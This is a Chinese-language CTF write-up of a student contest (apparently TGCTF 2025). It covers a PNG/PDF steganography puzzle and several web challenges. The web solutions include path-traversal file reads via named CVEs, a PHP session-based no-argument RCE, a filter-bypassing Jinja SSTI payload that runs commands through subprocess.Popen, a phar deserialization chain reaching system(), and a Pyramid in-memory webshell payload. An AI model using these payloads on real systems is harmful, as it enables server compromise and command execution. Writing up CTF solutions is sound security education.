跟w8nn9z和1n1t组队打的，这次其他方向也是硬扛出了一点……

很好的新生赛，使我开始学web()

Writeup部分

Writeup

复现部分

Misc

你能发现图片里的秘密吗

对给的图片zsteg就能找到7z的密码

image-20250415151311939

先看一下png，发现结尾的IDAT块在上一个没填满的情况下就开始了，单独把这个IDAT块拿出来保存成png

image-20250415154312488

image-20250415154438788

看起来宽高有点问题，用puzzlesolver爆破一下正确的宽高修复一下，得到flag1

image-20250415155341328

image-20250415155420288

根据官方wp，pdf放进ps里面可以看到第二个图层，把上面那张图移开就能看到flag。但是复现网站给的附件好像有点问题，没有第二个图层。

image-20250415161327830

Web

前端Game-Plus

还是跟之前一样找到flag的路径，用CVE-2025-31486进行任意文件读取

image-20250415182429761

image-20250415182817375

前端Game Ultra

还是跟之前一样找到flag的路径，用CVE-2025-32395进行任意文件读取

这题给出了附件，从dockerfile可以看出workdir是/app，多试几次目录穿越到根目录读flag就行

image-20250415183956367

AAA偷渡阴平（复仇）

题目

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<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint：你可以对着键盘一个一个看，然后在没过滤的符号上用记号笔画一下（bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹！•••*～●');
}

highlight_file(__FILE__);

实际上仍然是无参rce，用session_start启用sessionid，然后把恶意代码写在sessionid里就行

image-20250415192352015

image-20250415192422174

直面天命（复仇）

前面都跟直面天命那题一样，只不过这里aazz路由是直接给出的源码

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import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker？哼，还天命人，可笑，可悲，可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐，谈什么天命不天命的，还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}}”
最后，如果你用了cat，就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子，真的能做到？

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了，查询语句如下：
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint：
有一个aazz路由，去那里看看吧，天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

在上面一题中我们可以读/a/b/c/d/secret.py得到secretkey是直面天命

再看代码，天命被替换成了，所以在天命和难违之间写我们的payload就行。

先看一下有哪些类可以用

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[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()

image-20250415202837946

这里我们用subprocess.Popen这个类，其下标为351，先看一下flag叫什么

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[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0]

image-20250415203751321

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[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['cat','/tgffff11111aaaagggggggg'],stdout=-1).communicate()[0]

image-20250415204932832

什么文件上传（复仇）

前面的部分跟原来那题还是一样，读robots.txt，爆破出可以上传的文件后缀名是atg，读class.php

class.php源码：

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<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

这里是用phar做到反序列化，可以看到这里用了存在漏洞的file_exists函数。

构造链子的方式大体与上题一致。

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<?php
class yesterday {
    public $study;
    public function __construct() {
        $this->study = new today();
    }
}

class today {
    public $doing;
    public function __construct() {
        $this->doing = new future();
    }
}

class future {
    public function __toString() {
        return "win";
    }
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$a=new yesterday();
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
?>

由此生成phar.phar文件，将后缀名改为.atg，然后上传

image-20250416200453131

利用phar协议不看后缀名的特性，在filename处触发反序列化，post传参wow执行命令，这次flag在环境变量里

image-20250416200818751

熟悉的配方，熟悉的味道

题目源码

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from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬！"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

根据这篇文章写入pyramid框架的内存马

payload

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config.add_route('shell', '/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()

image-20250418170240811

image-20250418170307560